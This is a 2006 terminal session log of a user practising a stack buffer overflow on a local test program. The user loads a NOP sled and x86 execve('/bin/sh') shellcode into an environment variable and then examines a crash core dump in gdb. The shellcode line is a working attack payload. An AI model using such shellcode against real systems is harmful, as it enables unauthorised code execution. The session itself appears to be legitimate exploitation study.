Script started on Fri 23 Jun 2006 01:31:53 PM EDT yosyp@home:~/hacking/sploitme$ SC=`perl -e 'print "\x90"x256 . "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '` yosyp@home:~/hacking/sploitme$ set . . . PS2='> ' PS4='+ ' PWD=/home/yosyp/hacking/sploitme QTDIR=/usr/lib/qt SC=$'\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200' SHELL=/bin/bash . . . yosyp@home:~/hacking/sploitme$ gdb -q ./vuln core Using host libthread_db library "/lib/libthread_db.so.1". Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0xdeadbeef in ?? () (gdb) x/20s $esp . . . 0xbffff75c: "" 0xbffff75d: "i686" 0xbffff762: "./vuln" 0xbffff769: 'A' ... 0xbffff831: 'A' , "ï¾­Þ" 0xbffff87a: "CPLUS_INCLUDE_PATH=/usr/lib/qt/include:/usr/lib/qt/include" 0xbffff8b5: "MANPATH=/usr/local/man:/usr/man:/usr/X11R6/man:/usr/lib/java/man:/opt/kde/man:/usr/lib/qt/doc/man:/usr/share/texmf/man" 0xbffff92c: "HOSTNAME=home.home.sweet.home" 0xbffff94a: "DM_CONTROL=/var/run/xdmctl" 0xbffff965: "TERM=rxvt" 0xbffff96f: "SHELL=/bin/bash" 0xbffff97f: "XDM_MANAGED=/var/run/xdmctl/xdmctl-:0,maysd,mayfn,sched,rsvd,method=classic" 0xbffff9cb: "WINDOWID=27262978" 0xbffff9dd: "QTDIR=/usr/lib/qt" (gdb) 0xbffff9ef: "USER=yosyp" 0xbffff9fa: "LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.bat=01;32:*.BAT=01;32:*.btm=01;32:*.BTM=01;32:*.cmd=01;32:*.CMD=01;32:*.com=01;32:*.COM=01;32:*"... 0xbffffac2: ".dll=01;32:*.DLL=01;32:*.exe=01;32:*.EXE=01;32:*.arj=01;31:*.bz2=01;31:*.deb=01;31:*.gz=01;31:*.lzh=01;31:*.rpm=01;31:*.tar=01;31:*.taz=01;31:*.tb2=01;31:*.tbz2=01;31:*.tbz=01;31:*.tgz=01;31:*.tz2=01;"... 0xbffffb8a: "31:*.z=01;31:*.Z=01;31:*.zip=01;31:*.ZIP=01;31:*.zoo=01;31:*.asf=01;35:*.ASF=01;35:*.avi=01;35:*.AVI=01;35:*.bmp=01;35:*.BMP=01;35:*.flac=01;35:*.FLAC=01;35:*.gif=01;35:*.GIF=01;35:*.jpg=01;35:*.JPG=0"... 0xbffffc52: "1;35:*.jpeg=01;35:*.JPEG=01;35:*.m2a=01;35:*.M2a=01;35:*.m2v=01;35:*.M2V=01;35:*.mov=01;35:*.MOV=01;35:*.mp3=01;35:*.MP3=01;35:*.mpeg=01;35:*.MPEG=01;35:*.mpg=01;35:*.MPG=01;35:*.ogg=01;35:*.OGG=01;35"... 0xbffffd1a: ":*.ppm=01;35:*.rm=01;35:*.RM=01;35:*.tga=01;35:*.TGA=01;35:*.tif=01;35:*.TIF=01;35:*.wav=01;35:*.WAV=01;35:*.wmv=01;35:*.WMV=01;35:*.xbm=01;35:*.xpm=01;35:" 0xbffffdb6: "GDK_USE_XFT=1" 0xbffffdc4: "KDEDIR=/opt/kde" 0xbffffdd4: "T1LIB_CONFIG=/usr/share/t1lib/t1lib.config" 0xbffffdff: "MINICOM=-c on" 0xbffffe0d: "DESKTOP_SESSION=fluxbox" 0xbffffe25: "PATH=/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games:/usr/lib/java/bin:/usr/lib/java/jre/bin:/opt/kde/bin:/usr/lib/qt/bin:/usr/share/texmf/bin:." 0xbffffebd: "LC_COLLATE=C" 0xbffffeca: "INPUTRC=/etc/inputrc" 0xbffffedf: "PWD=/home/yosyp/hacking/sploitme" 0xbfffff00: "JAVA_HOME=/usr/lib/java" ---Type to continue, or q to quit--- 0xbfffff18: "LANG=en_US" 0xbfffff23: "PS1=\\u@\\h:\\w\\$ " 0xbfffff33: "PS2=> " 0xbfffff3a: "COLORFGBG=10;0" (gdb) (gdb) # Where is SC ? (gdb) q yosyp@home:~/hacking/sploitme$ exit Script done on Fri 23 Jun 2006 01:33:37 PM EDT